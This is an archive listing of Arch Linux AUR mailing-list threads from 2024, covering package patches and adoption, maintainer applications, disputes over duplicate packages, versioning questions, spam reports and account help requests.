AUR folk, I've created the 6.12 patch for the nvidia-390xx-utils package and posted to the package page (as has been the practice for the past couple of years). Is there a way I can simply do a pull-request so it makes it easier to incorporate by vnctdj (the current maintainer)? That would save the manual edit, patch and checksum update to the PKGBUILD and I don't mind doing it. Let me know what the best way to make this process easier on the maintainer is. If I had an e-mail, I could just e-mail the updated and signed source package. -- David C. Rankin, J.D.,P.E.

1 0

Wrong email address for newly registered account
by schance995 17 Nov '24

17 Nov '24

I registered with username schance995 but typoed the email. Please let me know if the account's email could be corrected to this one.

2 1

User "Scimmia" is misusing "Report out-of-date" button for purposely spamming excessive off-topic messages
by Actionless Loveless 13 Nov '24

13 Nov '24

The field is designed for notifying the maintainer of the package when a new release is available, not for reporting any other sort of problems (for which there are other means of reporting). But aside of misusing the purpose of the field, there is also a clear intention for spamming as could be seen : https://imgur.com/a/54O3TTR

3 8

mongdb44 - updated - request comments on PKGBUILD
by David C. Rankin 02 Nov '24

02 Nov '24

Aur folks, I had a need to use mongodb44 and only mongo44-bin was available. mongodb44 was out of date and was orphaned. Not knowing what options the mongodb-bin package is built with and it having different user:group, I decided to update the mongodb44 package. I spent a good deal of time patching it for boost 1.86 and resolved a number of minor redundant std::move(), and like issues (I still have a few more to go, I missed a couple). However, the package now builds cleanly and you can follow along with what is being built instead of it being lost in a sea of warnings. Since there is no one-shot update, I adopted the package as maintainer and pushed the update to https://aur.archlinux.org/packages/mongodb44. The following patches are new: mongodb-4.4.29-boost-1.86.patch mongodb-4.4.29-fix-scons.patch mongodb-4.4.29-no-enterprise.patch mongodb-4.4.29-redudant-std-move.patch I'd appreciate thoughts on anything else I should fix in the PKGBUILD. I am also unclear whether I should list debugedit as a build dependency -- it being somewhat of a generic dependency to the makepkg process. Should it be included as well? (note: this is a BIG build and can take over an hour with link-time optimizations at -j4 or -j8, the source is about a 50M download from github) -- David C. Rankin, J.D.,P.E.

1 0

Is there a way to submit a one-shot update to an Aur package without becoming the maintainer?
by David C. Rankin 01 Nov '24

01 Nov '24

Aur Mods, I updated https://aur.archlinux.org/packages/mongodb44 to build with the last 4.4.29 source and patched for boost 1.86. The package builds fine now against current Arch. I wanted to pass on the results of those efforts and update the Aur package, but didn't want to take on the maintainer role from here on out. Is there a way to provide an update for the package and bring in back into date without becoming the maintainer? I still have to merge a few patches and roll a couple of sed substitutions from the PKGBUILD into a final boost 1.86 patch, but I'm happy to package and sign a package source and provide that to you for update. There was about 8 hours of effort to find and fix all the issue, I'd like to make that available to whoever may need the 4.4 version of mongodb. I didn't think I'd ever need it, but it is the last version that wasn't built requiring avx - so it is useful if you need it for those cases. Let me know. Also has my sentence to the moderated list been served? I'm still a bit bewildered about what prompted that and who signed off on it. Let me know there too. -- David C. Rankin, J.D.,P.E.

1 0

How to become a co-maintainer of a package
by Nikita Goncarenko 30 Sep '24

30 Sep '24

Hey, I would like to know how could I become a co-maintainer of a package (specifically `satdump`) Nikita

2 1

Orphaning my packages indefinitely
by Brian Thompson 27 Sep '24

27 Sep '24

Hello Fellow Arch Users, My wife and I are having our second child any day now, and I won't have time to maintain my packages for at least the next year. It's been a pleasure working with all of you, and I've learned a ton. Thank you for being such a welcoming and friendly community. Below are the packages that I am orphaning. Please feel free to pick one of them up. The most pressing are noted with an asterisk (*). - proton-pass-bin - gnome-shell-frippery - *python-libmamba - python-cx-freeze-git - *python-cx-freeze - python-jax-rocm - *python-conda - python-conda-package-streaming - python-conda-package-handling - python-argbind-git - python-urlman - python-apptools - python-ase - htmlhint The Conda packages are a pain to manage. Let's just say they're not afraid to try new things. Bye everyone! -- Best regards, Brian Thompson <brianrobt(a)pm.me>

2 2

Package Maintainer Application - Peter Jung
by Peter Jung 26 Sep '24

26 Sep '24

Hello everyone, My name is Peter and I'm 26 years old. I work as a test and quality engineer and I'm from Augsburg, in Bavaria Germany. In my day-to-day job, I'm working together with car OEMs, Android devices, and their tools, like CANoe, CARMEN, Ellisys, ADB, and others. In the last months, I have seen Christian "gromit" Heusel in several upstream discussions and issues, and we got in contact with each other. We talked about getting more involved in Arch Linux, and this awakened my interest in becoming a package maintainer. My Linux journey started in 2018, beginning with a small project with a Raspberry Pi for my training as an environmental protection technician. I created a project with the "Enviro+ environmental monitoring station", which monitors temperature, pressure, humidity sensors, and others. This was then put together with Prometheus and Grafana into a graphical application, which visualized the values and changes of these. At this time, I also started using Arch Linux distribution on my desktop and learned more and more about Linux. In the meantime, I have learned to work with PKGBUILDs, learned bash, and started to maintain a custom kernel, together with some custom schedulers. In 2021, there was an RFC[1] posted on Arch Linux for the x86-64-v3 micro-architecture port. This got me very interested, and I started the "CachyOS"[2] project with Hamad Marri and Vladislav Nepogodin, which was intended as a learning and enthusiasts project. Over the years, we have integrated the x86-64-v3 and x86-64-v4 integration into this project. Additionally, I have further maintained the custom kernel "linux-cachyos"[3], and also started working together with upstream kernel developers as well as reporting bugs in the kernel community. Currently, in my spare time, I'm mainly maintaining the CachyOS project but also contribute a lot to the sched-ext project, while integrating this into CachyOS as well as doing the testing for the scx-scheds[4] schedulers. I will also be at the Linux Plumbers Conference in Vienna[5] and will give a talk about the integration and benefits of using sched-ext for distributions. I'm also currently maintaing the infrastructure of CachyOS, which includes services like mailserver, mirrors syncing, administration and others. Most of these servers are running on Arch Linux, therefore I have also gained experience in maintaining and managing these. In general, you may know me better by the name "ptr1337". I have reported bugs and suggestions to Arch Linux, as well as helping the Arch Linux-based community. Since the GitLab migration by Arch Linux, I have made a bunch of contributions to packages as well as helping the overall Arch Linux-based community. To further bring more involvement to the upstream Arch Linux project, I am applying as a package maintainer. Also, I could further bring my experience with the x86-64-v3 integration for Arch Linux as well as bringing up discussions from "downstream" distributions. Following packages from the AUR, I would like to maintain in the Arch Linux repository: - scx-scheds (as soon as the sched-ext framework is merged in the mainline kernel) - libpfm (this needs to be discussed with the linux-tools maintainer) - contour - libunicode (dependecy for contour) - boxed-cpp (dependecy for contour) - virtme-ng - llvm-bolt - ananicy-cpp For most of the above packages, I'm directly in contact with the developers as well as contributing and providing testing for these. Following packages in the Arch Linux repository, I could possibly (Co-)Maintain: - bpftop - cosmic group - dkms - wine-staging If there are any other packages that currently lack maintenance and need some help, I'm open to maintaining these. My sponsors are Christian "gromit" Heusel and Bert "bertptrs" Peters. Thanks for guiding me through the application process as well as the nice talk with each other. Best regards, Peter "ptr1337" Jung References ---------- [1] https://gitlab.archlinux.org/archlinux/rfcs/-/blob/master/rfcs/0002-march.r… [2] https://cachyos.org [3] https://github.com/cachyos/linux-cachyos [4] https://github.com/sched-ext/scx/ [5] https://lpc.events/event/18/sessions/192/#20240918 Other Links --------------- Gitlab Arch Linux: https://gitlab.archlinux.org/ptr1337 Github: https://github.com/ptr1337 PKGBUILDs: https://github.com/CachyOS/CachyOS-PKGBUILDS AUR Packages: https://aur.archlinux.org/packages?SeB=m&K=ptr1337

12 22

hostility in the comments
by matt quintanilla 24 Sep '24

24 Sep '24

A request for the pkgbuild to be updated[1] [2]quickly degenerated in insults [1 https://aur.archlinux.org/packages/thorium-browser-bin?O=0#comment-991699 [2]https://aur.archlinux.org/ <https://aur.archlinux.org/packages/thorium-browser-bin#comment-991710> packages/thorium-browser-bin# <https://aur.archlinux.org/packages/thorium-browser-bin#comment-991710> comment-991710 <https://aur.archlinux.org/packages/thorium-browser-bin#comment-991710> My working hours may not be your working hours. Please do not feel obligated to reply outside of your normal work schedule Matt Quintanilla he/him https://www.mattquintanilla.xyz/

3 2

Re: sm64ex-bin Discussion
by Corey Bruce 13 Sep '24

13 Sep '24

Also please leave the supermario64 package as I aim to get sm64ex-bin back will make changes to supermario64 to do the extraction Thanks Corey

1 0

sm64ex-bin Discussion
by corey bruce 13 Sep '24

13 Sep '24

Hi there Adam sm64ex-bin does not provide any of the rom files and only the binary, if a user wants to use this package they will have to provide the files themself as for the rom extraction the rom extraction and the binary is separate and the extracted rom files are extracted in a separate location and aren't included in the binary itself, the developers could have provided a binary but didn't which is why I compile them myself. I could provide a extraction method with the package if it also makes everyone happy as I wanted to provide a binary package as I also care about the user experience. Thanks Corey On 10/9/24 11:58 pm, Brian Allred wrote: > Sep 10, 2024, 04:46 by cdfrosty(a)gmail.com: > > Hello everyone, I hope you are all doing well > > I just wanted to talk about the discussion about my package > sm64ex-bin, I was informed to chat about it on the mailing list so > I wanted to make sure I was in the right place. I will admit the > initial issue frustrated me and felt a little targeted especially > when most of my other bin packages use binaries from my > repository but I wanted to discuss the issue and resolve any > allegations of slander that was put on with no factual evidence to > provide when I have been a long time package developer on the AUR > and a longer time developer on Github and Gitlab which I use now. > > It isn't against the rules to compile from source and host the > binaries on your own repository especially if the original > repository does not provide any or doesn't provide them for > specific architectures, I wanted to create a bin package for a > project for user to use and enjoy the project without needing to > wait for compiling times especially on Raspberry pi devices every > time while also bundling it with my launch scripts if needed,. For > example NZPortable-bin binaries are provided from my git > repository for the nzportable-bin package but I am officially > supported by the team to do so and it's a bit harsh to slander me > with assumptions that I am a bad actor with no evidence, it's also > pretty rule and a bit insulting to my credibility. > > All I ask is to have the ability to re upload my package and > continue to maintain the bin package for sm64ex-bin for all the > users who use it including myself, I am happy to talk about any > upstanding issues and fix any concerns if there is any. > > > Thank you > > > Corey Bruce > > Hey Corey, > > From a user perspective, my main concern would be that the source used > to compile the hosted binary file is available. If you're literally > only hosting a binary file, then I expect the source code used to > compile said file would be the original source - in this case from the > sm64ex repo. If you're including source modifications during the build > process, then I would expect the modified source to be available, and > ideally (though not a hard requirement), I'd prefer the binary file > hosted as a GitHub/GitLab release asset on the same repo. > > The other issue I could see is if a compiled form of sm64ex no longer > requires the user to provide the game ROM. If your sm64ex-bin package > can be installed and run without the user ever providing a ROM file, > then I can understand an AUR admin being hesitant to host that package. > > I'm not privy to any previous comments or allegations, so I can't > speak to those. And I'm not an AUR admin or Arch staff member. But > again, from a user perspective, as long as the source used to compile > the binary file is available, it doesn't really bother me where the > file is hosted or who's hosting it. I don't see a big difference > between you hosting the file and maintaining the AUR package versus an > original developer doing so. > > Hopefully this issue can be resolved amicably. > > Brian Allred

2 1

Is epoch increment optional on version scheme change in -git packages?
by dreieck 12 Sep '24

12 Sep '24

Dear AUR-maintainers, in this post [¹] I was told to raise this issue on this mailing list, so I do so. Note that I will not stay part of this mailing list; if there is an authorative answer maybe the best is to post it also to [¹] so everyone can notice. The issue is described in full in [²] and some short discussion followed. I also copypaste the issue here (from the Forum -- so forum-syntax): --- regarding [url=https://github.com/chaotic-aur/packages/issues/3151#issuecomment-223046… discussion[/url] about the AUR-package [url=https://aur.archlinux.org/packages/gr-lora_sdr-git]gr-lora_sdr-git[/url] I want to ask about the `$epoch` variable in `-git` packages in the AUR. The maintainer argues that `$epoch` [i]may[/i] be used, but not has to, when the versioning scheme changes so that a newer version of the `PKGBUILD` would result in a lower version according to `pacman`'s version compare logic. In this case, the old `$pkgver` (before adoption and fixing of the AUR package) was `8133965`, the new one now is `0.5.r4.g8133965`. [url=https://github.com/chaotic-aur/packages/issues/3151#issuecomment-223049… maintainer argues as following to not increment `$epoch`[/url]: [quote=xiota] AUR is still build on demand. AUR helper and Chaotic AUR users will receive notification and can force the update if they want. Users unwilling to manually force the upgrade can keep the old version. It's ultimately their choice. [/quote] [url=https://github.com/chaotic-aur/packages/issues/3151#issuecomment-223046… was reasoning that `$epoch` _must_ be incremented in such a case[/url]: [quote=dreirund] [quote=xiota] Also, I don't use epoch on AUR packages because they're build on demand. [/quote] But for the packages in the AUR you still need to set `$epoch`. Since the AUR is independently usable from `chaotic-aur`. The version scheme change you did in `gr-lora_sdr-git` requires an increment of `$epoch` in the AUR package, since the old version was `8133965`, the new one is `0.5.r4.g8133965`, which is lower by version compare logic. So setting `epoch=1` in the AUR package actually is required. [/quote] [url=https://wiki.archlinux.org/title/PKGBUILD#epoch]The wiki[/url] seems not to be clear about it, it may be read in both ways: [url=https://github.com/chaotic-aur/packages/issues/3151#issuecomment-223060… standpoint[/url]: [quote=dreirund] Regardless what opinions anyone has, the guidelines are clear about that: [url]https://wiki.archlinux.org/title/PKGBUILD#epoch[/url] [quote=https://wiki.archlinux.org/title/PKGBUILD#epoch] It is used when the version numbering scheme of a package changes (or is alphanumeric), breaking normal version comparison logic. [/quote] [/quote] and [url=https://github.com/chaotic-aur/packages/issues/3151#issuecomment-223066…] to that: [quote=xiota] From your own reference: [quote=quote=https://wiki.archlinux.org/title/PKGBUILD#epoch] Warning: epoch should only be used when [b]absolutely required[/b] to do so. [/quote] There is no statement requiring epoch to be used. Only requirements to meet when it is used. [/quote] So, is there any clear official rule for this case? --- [i]EDIT:[/i] After a discussion [url=https://github.com/chaotic-aur/packages/issues/3151#issuecomment-223046… there[/url], the maintainer has moved the discussion thread "[i]to a repository you don't have access to.[/i]". Regards! --- Regards!, @dreieck. [¹] https://bbs.archlinux.org/viewtopic.php?pid=2184346#p2184346 [²] https://bbs.archlinux.org/viewtopic.php?pid=2184286

6 6

sm64ex-bin Discussion
by corey bruce 10 Sep '24

10 Sep '24

Hello everyone, I hope you are all doing well I just wanted to talk about the discussion about my package sm64ex-bin, I was informed to chat about it on the mailing list so I wanted to make sure I was in the right place. I will admit the initial issue frustrated me and felt a little targeted especially when most of my other bin packages use binaries from my repository but I wanted to discuss the issue and resolve any allegations of slander that was put on with no factual evidence to provide when I have been a long time package developer on the AUR and a longer time developer on Github and Gitlab which I use now. It isn't against the rules to compile from source and host the binaries on your own repository especially if the original repository does not provide any or doesn't provide them for specific architectures, I wanted to create a bin package for a project for user to use and enjoy the project without needing to wait for compiling times especially on Raspberry pi devices every time while also bundling it with my launch scripts if needed,. For example NZPortable-bin binaries are provided from my git repository for the nzportable-bin package but I am officially supported by the team to do so and it's a bit harsh to slander me with assumptions that I am a bad actor with no evidence, it's also pretty rule and a bit insulting to my credibility. All I ask is to have the ability to re upload my package and continue to maintain the bin package for sm64ex-bin for all the users who use it including myself, I am happy to talk about any upstanding issues and fix any concerns if there is any. Thank you Corey Bruce

3 2

sm64ex-bin Discussion
by corey bruce 10 Sep '24

10 Sep '24

Hi there Brian there are no modifications to the source code or building process, all binaries are built exactly from the source code as documented on the official sm64ex repository and I never said anything about any source or build process being modified or change. The issue was with sm64ex-bin which is just a binary package and doesn't provide anything on it's own. Since the binaries are just directly compiled from the source code https://github.com/sm64pc/sm64ex as stated on the repository https://gitlab.com/linuxbombay/sm64ex and there is no issues I hope I can get permission to re upload my package without any issues. Thanks Corey

1 0

Re: [PRQ#63544] Orphan Request for visual-paradigm-community
by Rein Fernhout (Levitating) 04 Sep '24

04 Sep '24

This package of mine was requested to be orphaned and then the same user immediately approved their own request. I would've liked some time to react. The same user requested (and approved) my package genimage-git to be orphaned, which was wrongly flagged out of date (it is a VCS) package. On 2024-09-04 15:01, notify(a)aur.archlinux.org wrote: > epicycle6 [1] filed an orphan request for visual-paradigm-community > [2]: > > out-of-date > > [1] https://aur.archlinux.org/account/epicycle6/ > [2] https://aur.archlinux.org/pkgbase/visual-paradigm-community/

3 3

Is it allowed to use pkgrel for the upstream version?
by Ralf Mardorf 24 Aug '24

24 Aug '24

Hi, I wonder if it's allowed to use pkgrel for the upstream version? If so, then there is no correct information related to the pkgrel available, see https://aur.archlinux.org/packages/firedragon https://aur.archlinux.org/packages/firedragon-bin My comment, including a correction ;) at the bottom: https://aur.archlinux.org/packages/firedragon#comment-987718 "Hi, please, don't misuse the package release for the unusual versioning of upstream. If upstream's versioning is 1.2.3-1 then make the pkgver 1.2.3.1, if it's 1.2.3-1.1 then make the pkgver 1.2.3.1.1. For example take a look at how it is done for extra/linux-rt or extra/linux-rt-lts. Leave the pkgrel to the package release -1, -2, -3 and leave dotted pkgrel to the users, so a user can build an individual -1.1, -1.2 etc. and automatically follow the AUR, if the package maintainer bumps the pkgver or pkgrel. Don't break the pkgrel, just because upstream does use such an odd versioning. The pkgrel is for the package release, not for the upstream version. Regards, Ralf Correction: Replace the "-" by a "_", see https://wiki.archlinux.org/title/PKGBUILD#pkgver " After taking a look at the Wiki I corrected my comment. IIUC then the pkgver of extra/linux-rt or extra/linux-rt-lts isn't correct,too, but at least a correct pkgrel is provided by those packages from extra, while it's broken for the AUR's firedragons. Regards, Ralf

2 2

Registration with wrong email
by asalde_le1 18 Aug '24

18 Aug '24

]Hi! Today I wanted to register an account by email asalde.le1(a)gmail.com with username asalde_le1, but accidentally wrote it as gmail.xom, so I can't receive password link. Can you please reset the account? Thank you in advance!

2 1

Package Maintainer Application - Quentin Michaud
by mh4ckt3mh4ckt1c4s 15 Aug '24

15 Aug '24

Hi everyone, My name is Quentin, or mh4ckt3mh4ckt1c4s/mh4ckwascut on the AUR and other Arch projects, and I'm applying to become a Package Maintainer. My application is sponsored by Robin Candau (Antiz) and Rémi Gacogne (rgacogne). I'm a graduated CS/networking engineer who is pursuing his studies as a PhD student in cybersecurity at the Institut Polytechnique de Paris, France (for the curious an abstract of the topic of my PhD is available here: https://theses.fr/s374883) I started programming in high school, and as I was more and more interested in "how computers work", I naturally started to tinker with Linux. After a little distro hopping, I wanted to dive more into the inner workings of a Linux distribution and Arch was the distro of choice. I fell in love with the rolling release, the always up-to-date packages, the wiki, and the AUR, among others. I now run Arch not only on my main laptop, but on my experimentation machines as well. I tried to go further, explored Gentoo and LFS, but I sticked with Arch as the distro allowing me to best tailor my computers to my needs while being fast and simple (who doesn't hate compilation times?). With the time I familiarized myself with the AUR, adopted a package I was using that was orphaned, and started submitting my own packages. I ended using a lot of little-used packages from the AUR, such as pentesting tools (for Capture The Flags) and fancy stuff related to my PhD. Most of these packages were orphaned or had bugs, and I started the habit of regularly looking for abandoned packages that I was using and picking them up on the AUR. A few times, I stumbled on outdated packages in the extra repo (ruby-iostruct and LLVM are the ones I remember), and I thought that if my beloved Arch was sometimes not up-to-date, maybe I could help and make Arch a little better. That's why I'm sending this mail today! Alongside packaging, I helped on other topics around Arch, such as becoming a package tester or improving a few articles in the wiki. Alongside Arch, I'm involved in OSS in general, contributing to various projects I use. All can be found on my GitHub and GitLab profiles, but big projects I have contributed to are LLVM, GitLab and YunoHost. When I'm not coding something or maintaining my homelab, I'm running or reading to clear my head. As a Package Maintainer, I would like to bring from my AUR packages to the extra repo podman-desktop, which I feel makes sense as podman and various related tools are already in extra, and a few WebAssembly packages such as wasi-tools. I also plan to merge my zaproxy-desktop package with zaproxy that is already in extra. As for the packages I can co-maintain, I would be happy to help with LLVM-related packages, or any other package that would need help and where I would be useful, like containerization or security tools. Relevant links: My AUR packages: https://aur.archlinux.org/packages?K=mh4ckwascut&SeB=m My GitHubs (perso and work): https://github.com/mh4ckt3mh4ckt1c4s and https://github.com/mh4ck-Thales GitLab: https://gitlab.com/mh4ckt3mh4ckt1c4s/ My personal website: https://www.mh4ckt3mh4ckt1c4s.xyz/ The YunoHost application I created and maintained for over a year: https://github.com/YunoHost-Apps/searxng_ynh My GitLab contributions: https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&state=all&a… My LLVM contributions: https://github.com/llvm/llvm-project/issues?q=involves%3Amh4ck-Thales Hoping that gives you a good introduction of myself and my motivations. Thanks for reading, cheers! Quentin

9 18

Maintainer: m3thodic packages need updating - no e-mail to contact (hidden)
by David C. Rankin 11 Aug '24

11 Aug '24

Aur folk, I was trying to install createrepo_c that has sent me down dependency-hell of out-of-date packages. The last that I couldn't fix was libmodulemd maintained by m3thodic. The package was flagged out of date on 4/27/24. I don't know if the maintainer is just gone for a while, or if the packages are abandoned. The createrepo package depends on this and other AUR packages and is dead-in-the-water for now. How to handle this? -- David C. Rankin, J.D.,P.E.

2 2

AUR Maintenance Saturday 13 July 12:00 UTC
by Jelle van der Waa 13 Jul '24

13 Jul '24

Hi all, We are having some performance issues with the AUR's git repository which requires some maintenance. [1] This means that the AUR will be unavailable for some time starting 12:00 UTC till it is done (hopefully 2 hours, could be more). [1] https://gitlab.archlinux.org/archlinux/infrastructure/-/issues/599

2 1

Unable to push to or clone from existing aur package repo
by Chris Speck 13 Jul '24

13 Jul '24

Hello, My AUR username is "cspeck-aai" and I am the maintainer of the "slack-desktop-wayland" package: https://aur.archlinux.org/packages/slack-desktop-wayland I have ssh set up and created and maintain this package. Today I attempted to push a change to bump the package version and found that I am unable to push: --- ✔ ~/src/slack-desktop-wayland [master ↑·1|✔] 16:22 $ git push aur(a)aur.archlinux.org: Permission denied (publickey). fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. --- Also weirdly, I cannot clone it: --- $ git clone ssh://aur@aur.archlinux.org/slack-desktop-wayland.git Cloning into 'slack-desktop-wayland'... aur(a)aur.archlinux.org: Permission denied (publickey). fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. --- I have not changed anything on my end. I double and triple checked my SSH keys. I also double checked that I'm not on any VPN or tunnel. Further, I can still use the ssh query interface, and I am still able to log in and it still shows me as the owner of this package: --- ✔ 16:23 $ ssh aur(a)aur.archlinux.org help Commands: adopt <name> Adopt a package base. disown <name> Disown a package base. flag <name> <comment> Flag a package base out-of-date. git-receive-pack Internal command used with Git. git-upload-pack Internal command used with Git. help Show this help message and exit. list-repos List all your repositories. restore <name> Restore a deleted package base. set-comaintainers <name> [...] Set package base co-maintainers. set-keywords <name> [...] Change package base keywords. unflag <name> Remove out-of-date flag from a package base. unvote <name> Remove vote from a package base. vote <name> Vote for a package base. ✔ ~/src/slack-desktop-wayland [master ↑·1|✔] 16:49 $ ssh aur(a)aur.archlinux.org list-repos slack-desktop-wayland --- I know that my ssh keys and setup are working because it used to function with the AUR and I continue to use it every hour of the day at work. Any idea what is going wrong? Can you please help me fix this? Also, I am away for a few days at the start of next week - could you please prevent any "orphaned package" requests while my access issues are fixed? Regards, Chris

4 4

Offensive comments
by Arne Brücher 12 Jul '24

12 Jul '24

I just received dozens of offensive comments including death threats on my AUR-package standardnotes-bin. I asked for support in the Arch Linux Telegram group and the user Muflone deleted the comments and suspended the account. The account's name was fruitwater6 and was created today. I also have an email address of the account and screenshots of the comment. I would appreciate if there was the ability to report comments and block users as well as an explicit way of reporting such issues.

2 1

Houston, we have a problem
by Mark Wagie 12 Jul '24

12 Jul '24

Multiple accounts (at least two) just spammed the same nonsensical comment multiple times--at least 40, I lost track. Please remove the comments and ban the associated accounts. Package: https://aur.archlinux.org/pkgbase/standardnotes-bin/ Accounts: https://aur.archlinux.org/account/MechEngineering2/ https://aur.archlinux.org/account/fruitwater6/ Sent with [Proton Mail](https://proton.me/) secure email.

1 0

hostility in the comments
by james smith 10 Jul '24

10 Jul '24

A request for the pkgbuild to be updated[1] [2] quickly degenerated in insults [1]https://aur.archlinux.org/packages/sunshine?O=10#comment-981082 [2]https://aur.archlinux.org/packages/sunshine?O=10#comment-981374

5 4

Fixing extra/python-tensorflow, which is incompatible to python-numpy 2.0
by Claudia Pellegrino 07 Jul '24

07 Jul '24

Dear AUR folks, Last week, the python-numpy package was upgraded to v2.0. Since then, extra/python-tensorflow [1] has been raising a runtime error: ```sh $ sudo pacman -Syu python-tensorflow […] $ pacman -Q python-tensorflow python-numpy python-tensorflow 2.16.1-9 python-numpy 2.0.0-1 $ /usr/bin/python -c 'import tensorflow' […] File "/usr/lib/python3.12/site-packages/tensorflow/python/ops/numpy_ops/np_dtypes.py", line 30, in <module> complex_ = np.complex_ ^^^^^^^^^^^ File "/usr/lib/python3.12/site-packages/numpy/__init__.py", line 397, in __getattr__ raise AttributeError( AttributeError: `np.complex_` was removed in the NumPy 2.0 release. Use `np.complex128` instead.. Did you mean: 'complex64'? ``` For the full output, see: https://0x0.st/Xa9Q.log Given that upstream is still working on NumPy 2 support [2], the error message makes sense. Users can fix this incompatibility for themselves by either a) manually downgrading `python-numpy` to v1.x from their cache; or b) installing `python-numpy1` [3] from the AUR, which I uploaded today. Judging from the progress of the upstream issue [2], NumPy v2 support in tensorflow may not be exactly around the corner. Until then, users are going to have a hard time figuring out one of these workarounds on their own. I think all packages from core and extra are supposed to Just Work. So I wonder what might be a more user-friendly way to fix `extra/python-tensorflow` for everyone? Would it make sense to move `python-numpy1` from the AUR to `extra` to allow `python-tensorflow` to depend on `python-numpy1`? [1]: https://archlinux.org/packages/extra/x86_64/python-tensorflow/ [2]: https://github.com/tensorflow/tensorflow/issues/67291 [3]: https://aur.archlinux.org/packages/python-numpy1 Regards Claudia (aka Auerhuhn)

2 1

AUR registration invalid e-mail
by Jens Hülser 26 Jun '24

26 Jun '24

Hi everyone, I am currently trying to register to the AUR website. The welcome email is already here, so I suppose I did not use the wrong address when setting up the account. Unfortunately, the password reset page gives me an 'Invalid e-mail' when I try to set my password. I use a password manager, so I there should be no typos involved. Nevertheless, I tried the manual route, entering the email adress and a very simple password (just very temporarily, of course!) very carefully one character at a time, double checking everything. I also tried using my user name, did not work either. Now that I am reasonably sure that I made at least no obvious mistakes, I am kindly asking for assistance here. The email address I used is jens.huelser(a)gmail.com. Anyone willing to help out a bloody noob? BR Jens

2 1

1 week break bittin
by Luna Jernberg 20 Jun '24

20 Jun '24

Hey! i will be in Germany helping out at the openSUSE Conference 25th of June to 2th July and won't have time to update my AUR packages during that period, a couple of them have comaintainers however

1 0

User jiangyc reuploads
by Fabio Loli 18 Jun '24

18 Jun '24

Hi, user jiangyc continue to re-upload 1panel-stable-bin; a duplicate of 1panel-bin 1panel-bin is orphan while their pkgbuild use curl in pkgver() and build() to get version and download, they have been informed on the first upload to not do that, I get there may be a language barrier but didn't get a reply and behaviour continued Third deletion request will come soon Please take appropriate action

1 0

Please take actions against a problematic user
by Kimiblock Moe 17 Jun '24

17 Jun '24

Hi all, I'm Kimiblock, requesting AUR moderators to take action against packager 7Ji and 2 packages: wechat-universal-bwrap and wechat-beta-bwrap. Despite the fact that we already discussed[a][b]: wechat-universal-bwrap and wechat-beta-bwrap is now duplicated packages of the original wechat-uos-bwrap (which has been renamed to wechat-uos-qt to avoid confusion[c]), user 7Ji still filed a deletion request against wechat-uos-bwrap[d]. He filed the deletion request because "don't want unrelated comments in the history of -universal, neither its votes". Ironically, he admitted that wechat-beta-bwrap is based on wechat-uos-bwrap and another package wechat-uos-qt is based on -beta-bwrap. He then said he "would want no history from -uos-bwrap". This is a serious violation of AUR submission guidelines[e]: "*Check the AUR* if the package *already exists*. If it is currently maintained, changes can be submitted in a comment for the maintainer's attention." and this is not the end of this user's problematic behaviour. In the merge request of wechat-beta-bwrap filed by me, he said: "Additionally, as of writing, `wechat-beta-bwrap` has 21 votes, and `wechat-uos-bwrap`has 11 votes, it is not right to merge from a highly voted one a lowly voted one". This can't be right: if someone can mislead AUR users and let them vote the duplicated package, then the original package should be merged into the duplicated one? I can't understand the rationale behind this. All in all, please take actions against this user and 2 duplicated packages: wechat-universal-bwrap and wechat-beta-bwrap. -- Sincerely, Kimiblock [a]: https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/t… [b]: https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/m… [c]: https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/m… [d]: https://lists.archlinux.org/archives/list/aur-requests@lists.archlinux.org/… [e]: https://wiki.archlinux.org/title/AUR_submission_guidelines#Rules_of_submiss…

1 0

About the intentionally duplicated package wechat-beta-bwrap and wechat-universal and unmaintained orginal package wechat-uos
by Kimiblock Moe 14 Jun '24

14 Jun '24

Hello people, I'm Kimiblock, the maintainer of wechat-uos-bwrap, writing to request Package Maintainer's action to solve the intentionally duplicated package on AUR. WeChat is a closed-source software developed by Tencent which is used by almost all people in China. In March 5, people in #archlinux-cn discovered that there is a testing version available and shortly after, it became a installable package for China's UOS. I've packaged wechat-uos-bwrap in 2024-03-05 23:37 (CST). 2 days after in 2024-03-07 09:18 (CST), AUR account leaeasy submitted wechat-beta-bwrap. If you look at the initial commit <https://aur.archlinux.org/cgit/aur.git/commit/?h=wechat-beta-bwrap&id=76c45…> of wechat-beta-bwrap, it was almost completely copied from wechat-uos-bwrap (other than a different way to extract the .deb), even the .desktop file. The only major thing they changed is wechat.sh, which sanbox function is removed. But wechat-uos-bwrap can read a environment variable "trashAppUnsafe=1" and disable its sandbox function. So I filed a merge request (#PRQ57379) to merge wechat-beta-bwrap <https://aur.archlinux.org/pkgbase/wechat-beta-bwrap/> into wechat-uos-bwrap <https://aur.archlinux.org/pkgbase/wechat-uos-bwrap/>. After that, one of the wechat-beta-bwrap <https://aur.archlinux.org/pkgbase/wechat-beta-bwrap/> maintainer 7Ji <https://aur.archlinux.org/account/7Ji> submitted a new package called wechat-universal-bwrap <https://aur.archlinux.org/pkgbase/wechat-universal-bwrap>, which is also a duplicate package of wechat-uos-bwrap. So, I'm thinking to merge all that duplicate packages and my wechat-uos-bwrap <https://aur.archlinux.org/pkgbase/wechat-uos-bwrap/> into wechat-uos. Sadly, the original Maintainer DuckSoft disappeared (the last message he sent in #archlinux-cn is over 3 years ago). Therefore, I'm requesting Package Maintainers to merge wechat-beta-bwrap <https://aur.archlinux.org/pkgbase/wechat-beta-bwrap/> and wechat-universal-bwrap <https://aur.archlinux.org/pkgbase/wechat-universal-bwrap> and give Maintainer role to previous wechat-uos maintainer, sukanka <https://aur.archlinux.org/account/sukanka> so that this package can be updated. I'll merge wechat-uos-bwrap <https://aur.archlinux.org/pkgbase/wechat-uos-bwrap/> into wechat-uos once sukanka finish updating this package and add the sandbox function. I've contacted sukanka via Matrix and he/she is willing to maintain this package. -- Sincerely, Kimiblock

7 17

Package Maintainer application - Giovanni Harting
by Giovanni Harting 12 Jun '24

12 Jun '24

